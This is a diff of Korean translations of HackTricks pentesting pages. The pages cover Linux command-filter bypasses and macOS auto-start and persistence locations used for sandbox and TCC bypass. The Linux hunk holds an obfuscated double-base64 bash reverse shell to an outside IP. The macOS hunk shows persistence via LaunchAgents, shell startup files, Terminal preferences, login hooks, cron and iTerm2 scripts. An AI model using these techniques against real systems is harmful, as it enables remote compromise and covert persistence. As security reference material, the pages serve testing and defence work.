|
||||
- **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 일반적인 제한 우회
|
||||
|
||||
### 역쉘
|
||||
### 리버스 쉘
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
|
@ -93,7 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### 금지된 공백 우회
|
||||
### 금지된 공백 우회하기
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -336,10 +336,10 @@ ln /f*
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -351,9 +351,9 @@ ln /f*
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,58 +6,58 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
이 섹션은 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) 블로그 시리즈를 기반으로 하며, 목표는 **더 많은 Autostart 위치**를 추가하고 (가능한 경우) **현재 macOS 최신 버전(13.4)에서 여전히 작동하는 기술**을 나타내며 **필요한 권한**을 명시하는 것입니다.
|
||||
이 섹션은 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) 블로그 시리즈를 기반으로 하며, 목표는 **더 많은 Autostart 위치**를 추가하고(가능한 경우), 최신 macOS 버전(13.4)에서 **아직 작동하는 기술**을 나타내고 **필요한 권한**을 명시하는 것입니다.
|
||||
|
||||
## 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **sandbox 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 작성**하고 매우 **일반적인 동작**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내에서 일반적으로 수행할 수 있는 동작**을 **기다리는** 것으로 간단히 무언가를 실행할 수 있습니다.
|
||||
여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 작성**하고 매우 **일반적인 동작**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내부에서 일반적으로 수행할 수 있는 동작**을 **기다리는** 것으로 간단히 무언가를 실행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
- 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
- TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
||||
- **`/Library/LaunchAgents`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/Library/LaunchDaemons`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/System/Library/LaunchAgents`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/System/Library/LaunchDaemons`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`~/Library/LaunchAgents`**
|
||||
- **트리거**: 다시 로그인
|
||||
- **`~/Library/LaunchDemons`**
|
||||
- **트리거**: 다시 로그인
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **트리거**: 다시 로그인
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **트리거**: 다시 로그인
|
||||
|
||||
#### 설명 및 Exploitation
|
||||
#### 설명 및 이용
|
||||
|
||||
**`launchd`**는 OX S 커널에서 부팅 시 처음 실행되는 **첫 번째 프로세스**이며 종료 시에는 마지막에 종료됩니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP plists**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
**`launchd`**는 OX S 커널에서 부팅 시 가장 먼저 실행되는 프로세스이며 종료 시 가장 마지막에 종료됩니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP** **plist**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
|
||||
- `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트
|
||||
- `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전역 데몬
|
||||
- `/System/Library/LaunchAgents`: Apple이 제공하는 사용자별 에이전트
|
||||
- `/System/Library/LaunchDaemons`: Apple이 제공하는 시스템 전역 데몬
|
||||
* `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트
|
||||
* `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전역 데몬
|
||||
* `/System/Library/LaunchAgents`: Apple이 제공하는 사용자별 에이전트
|
||||
* `/System/Library/LaunchDaemons`: Apple이 제공하는 시스템 전역 데몬
|
||||
|
||||
사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 있는 plists가 **로그인한 사용자의 권한**으로 시작됩니다.
|
||||
사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 있는 plist가 **로그인한 사용자의 권한**으로 시작됩니다.
|
||||
|
||||
**에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 부팅 시 로드된다는 것**입니다(사용자가 시스템에 액세스하기 전에 ssh와 같은 서비스가 실행되어야 하는 경우가 있기 때문). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행되어야 합니다.
|
||||
**에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 부팅 시 로드된다는 것**입니다(ssh와 같은 서비스는 시스템에 액세스하기 전에 실행되어야 하기 때문). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행되어야 합니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
|
@ -80,13 +80,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
**사용자 로그인 전에 실행되어야 하는 경우가 있는데, 이를 PreLoginAgents라고 합니다**. 예를 들어, 이는 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 파일들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다([여기](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)에서 예제 확인).
|
||||
**사용자 로그인 전에 에이전트를 실행해야 하는 경우가 있습니다.** 이러한 것들은 **PreLoginAgents**라고 불립니다. 예를 들어, 이것은 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 것들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다([여기](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)에서 예제를 확인할 수 있습니다).
|
||||
|
||||
{% hint style="info" %}
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <target.plist>`을 사용하여 **로드됩니다**. **확장자 없이 .plist 파일을 로드하는 것도 가능**합니다. `launchctl -F <file>` (그러나 이러한 plist 파일들은 자동으로 재부팅 후 로드되지 않습니다).\
|
||||
`launchctl unload <target.plist>`로 **언로드**하는 것도 가능합니다(해당 프로세스는 종료됩니다).
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <대상.plist>`을 사용하여 **로드됩니다.** `launchctl -F <파일>`로 확장자 없는 .plist 파일을 로드하는 것도 가능합니다(그러나 이러한 plist 파일은 재부팅 후 자동으로 로드되지 않습니다).\
|
||||
`launchctl unload <대상.plist>`로 **언로드**하는 것도 가능합니다(해당 프로세스는 종료됩니다).
|
||||
|
||||
**Agent** 또는 **Daemon**이 **실행되는 것을 방해하는 것이 없는지 확인**하려면 다음을 실행하십시오: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
**에이전트** 또는 **데몬**이 **실행되는 것을 방해하는 것(오버라이드와 같은 것)이 없는지 확인**하려면 다음을 실행하십시오: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열하십시오:
|
||||
|
@ -94,7 +94,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 **작업은 사용자로 실행**되며 루트로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 시스템 전역 폴더에 있더라도 작업은 사용자로 실행되고 root로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 쉘 시작 파일
|
||||
|
@ -112,12 +112,12 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* **트리거**: zsh로 터미널 열기
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **트리거**: zsh로 터미널 열기
|
||||
* 루트 권한 필요
|
||||
* Root 권한 필요
|
||||
* **`~/.zlogout`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* **`/etc/zlogout`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* 루트 권한 필요
|
||||
* Root 권한 필요
|
||||
* 추가 가능성 있음: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **트리거**: bash로 터미널 열기
|
||||
|
@ -130,7 +130,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
`zsh` 또는 `bash`와 같은 쉘 환경을 초기화할 때 **특정 시작 파일이 실행**됩니다. macOS는 현재 기본 쉘로 `/bin/zsh`를 사용합니다. 이 쉘은 터미널 애플리케이션이 시작될 때 또는 SSH를 통해 장치에 액세스할 때 자동으로 액세스됩니다. macOS에는 `bash`와 `sh`도 있지만 사용하려면 명시적으로 호출해야 합니다.
|
||||
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 매뉴얼 페이지에는 시작 파일에 대한 긴 설명이 있습니다.
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 man 페이지에는 시작 파일에 대한 긴 설명이 있습니다.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 다시 열린 애플리케이션
|
||||
|
||||
{% hint style="danger" %}
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 재부팅하여 앱을 실행할 수 없었습니다. (앱이 실행되지 않았습니다. 이 작업을 수행할 때 앱이 실행 중이어야 할 수도 있습니다)
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 재부팅하여 앱을 실행하지 못했습니다. (앱이 실행되지 않았습니다. 이 작업을 수행할 때 앱이 실행 중이어야 할 수도 있습니다)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -153,9 +153,9 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
다시 열 애플리케이션은 모두 plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 내에 있습니다.
|
||||
다시 열 애플리케이션은 plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 내에 모두 포함되어 있습니다.
|
||||
|
||||
따라서 다시 열 애플리케이션이 자체 앱을 시작하도록하려면 **앱을 목록에 추가**하면 됩니다.
|
||||
따라서 다시 열 애플리케이션을 자체 앱으로 실행하려면 **앱을 목록에 추가**하면 됩니다.
|
||||
|
||||
UUID는 해당 디렉토리를 나열하거나 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`로 찾을 수 있습니다.
|
||||
|
||||
|
@ -179,14 +179,14 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 사용자가 터미널을 사용할 때 FDA 권한을 가짐
|
||||
* 터미널은 사용자가 사용할 때 FDA 권한을 갖게 함
|
||||
|
||||
#### 위치
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **트리거**: 터미널 열기
|
||||
|
||||
#### 설명 및 공격
|
||||
#### 설명 및 악용
|
||||
|
||||
**`~/Library/Preferences`**에는 사용자의 응용 프로그램 환경 설정이 저장됩니다. 이러한 환경 설정 중 일부는 **다른 응용 프로그램/스크립트를 실행**할 수 있는 구성을 보유할 수 있습니다.
|
||||
|
||||
|
@ -212,7 +212,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
```
|
||||
그래서, 시스템의 터미널 환경 설정 파일(plist)이 덮어쓰여진다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행**될 수 있습니다.
|
||||
|
||||
다음 명령을 사용하여 CLI에서 이를 추가할 수 있습니다:
|
||||
다음 명령을 사용하여 cli에서 이를 추가할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -229,18 +229,18 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 터미널을 사용하면 사용자의 FDA 권한을 가짐
|
||||
* 터미널을 사용하면 사용자의 FDA 권한을 가질 수 있음
|
||||
|
||||
#### 위치
|
||||
|
||||
* **어디서나**
|
||||
* **트리거**: 터미널 열기
|
||||
|
||||
#### 설명 및 Exploitation
|
||||
#### 설명 및 공격
|
||||
|
||||
[**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 만들고 열면 **터미널 애플리케이션**이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우 명령이 해당 특별한 권한으로 실행됩니다.
|
||||
[**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 생성하고 열면 **터미널 애플리케이션**이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우 명령이 해당 특별한 권한으로 실행됩니다.
|
||||
|
||||
다음과 함께 시도해보세요:
|
||||
다음과 같이 시도해보세요:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -270,7 +270,7 @@ open /tmp/test.terminal
|
|||
```
|
||||
### 오디오 플러그인
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\
|
||||
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
@ -293,11 +293,11 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
#### 설명
|
||||
|
||||
이전의 글에서 **일부 오디오 플러그인을 컴파일**하고 로드할 수 있다고 합니다.
|
||||
이전의 글들에 따르면 **일부 오디오 플러그인을 컴파일**하고 로드할 수 있습니다.
|
||||
|
||||
### QuickLook 플러그인
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)
|
||||
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
|
@ -313,17 +313,17 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### 설명 및 이용
|
||||
|
||||
QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더에서 파일을 선택한 후 스페이스 바를 누름) **해당 파일 유형을 지원하는 플러그인**이 설치되어 있으면 실행됩니다.
|
||||
QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더에서 파일을 선택한 상태에서 스페이스 바를 누름) **해당 파일 유형을 지원하는 플러그인**이 설치되어 있으면 실행됩니다.
|
||||
|
||||
자체 QuickLook 플러그인을 컴파일하여 이전 위치 중 하나에 배치한 다음 지원되는 파일로 이동하여 스페이스를 눌러 트리거할 수 있습니다.
|
||||
|
||||
### ~~로그인/로그아웃 후크~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
나에게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook 모두 작동하지 않았습니다.
|
||||
나에게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook도 작동하지 않았습니다.
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/)
|
||||
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
@ -333,7 +333,7 @@ QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더
|
|||
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`와 같은 명령을 실행할 수 있어야 함
|
||||
* `~/Library/Preferences/com.apple.loginwindow.plist`에 위치함
|
||||
|
||||
이러한 후크는 사용자가 로그인할 때 명령을 실행할 수 있도록 사용되지만 사용이 중단되었지만 여전히 사용할 수 있습니다.
|
||||
이러한 후크는 사용자가 로그인할 때 명령을 실행할 수 있도록 만들어졌지만 사용이 중단되었습니다.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -365,7 +365,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
## 조건부 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 쓰기**만으로 **특정 프로그램이 설치되어 있거나, "일반적이지 않은" 사용자** 조치 또는 환경과 같은 **매우 흔하지 않은 조건**을 기대하지 않고도 무언가를 간단히 실행할 수 있습니다.
|
||||
여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 쓰기**만으로 무언가를 간단히 실행하고, 특정 **프로그램이 설치되어 있거나, "일반적이지 않은" 사용자** 조치 또는 환경과 같이 **매우 흔하지 않은 조건**을 기대할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 크론
|
||||
|
@ -380,7 +380,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
#### 위치
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* 직접 쓰기 액세스를 위해 루트가 필요함. `crontab <file>`을 실행할 수 있다면 루트가 필요하지 않음
|
||||
* 직접 쓰기 액세스를 위해서는 루트가 필요함. `crontab <file>`을 실행할 수 있다면 루트가 필요하지 않음
|
||||
* **트리거**: 크론 작업에 따라 다름
|
||||
|
||||
#### 설명 및 악용
|
||||
|
@ -396,9 +396,9 @@ crontab -l
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
여기에서는 일반 **cron** **작업**, **at** **작업** (거의 사용되지 않음), 그리고 **주기적 작업** (주로 임시 파일을 정리하는 데 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 다음과 같이 실행할 수 있습니다: `periodic daily`.
|
||||
다음은 일반 **cron** **작업**, **at** **작업** (거의 사용되지 않음) 및 **주기적 작업** (주로 임시 파일을 정리하는 데 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 다음과 같이 실행할 수 있습니다: `periodic daily`.
|
||||
|
||||
**사용자 cron 작업을 프로그래밍적으로 추가**하려면 다음을 사용할 수 있습니다:
|
||||
**사용자 cron 작업을 프로그래밍 방식으로 추가**하려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||
crontab /tmp/cron
|
||||
|
@ -407,9 +407,9 @@ crontab /tmp/cron
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* 유용한 샌드박스 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2는 TCC 권한을 부여했었습니다.
|
||||
* iTerm2는 TCC 권한을 부여했었음
|
||||
|
||||
#### 위치
|
||||
|
||||
|
@ -431,19 +431,23 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
### macOS Auto Start Locations
|
||||
## macOS Auto Start Locations
|
||||
|
||||
macOS provides several locations where applications can be configured to automatically start when a user logs in. These locations include:
|
||||
### Launch Agents
|
||||
|
||||
1. **Login Items**: Found in System Preferences > Users & Groups, this is the most common way for applications to start at login. Users can add or remove applications from this list.
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
2. **Launch Agents**: These are user-specific agents that run when a user logs in. They are usually found in `~/Library/LaunchAgents/`.
|
||||
### Launch Daemons
|
||||
|
||||
3. **Launch Daemons**: These are system-wide daemons that run regardless of which user is logged in. They are typically found in `/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/`.
|
||||
|
||||
4. **Startup Items**: Deprecated since macOS 10.7, Startup Items used to be a common way to launch daemons or agents at boot. They were stored in `/Library/StartupItems/`.
|
||||
### Login Items
|
||||
|
||||
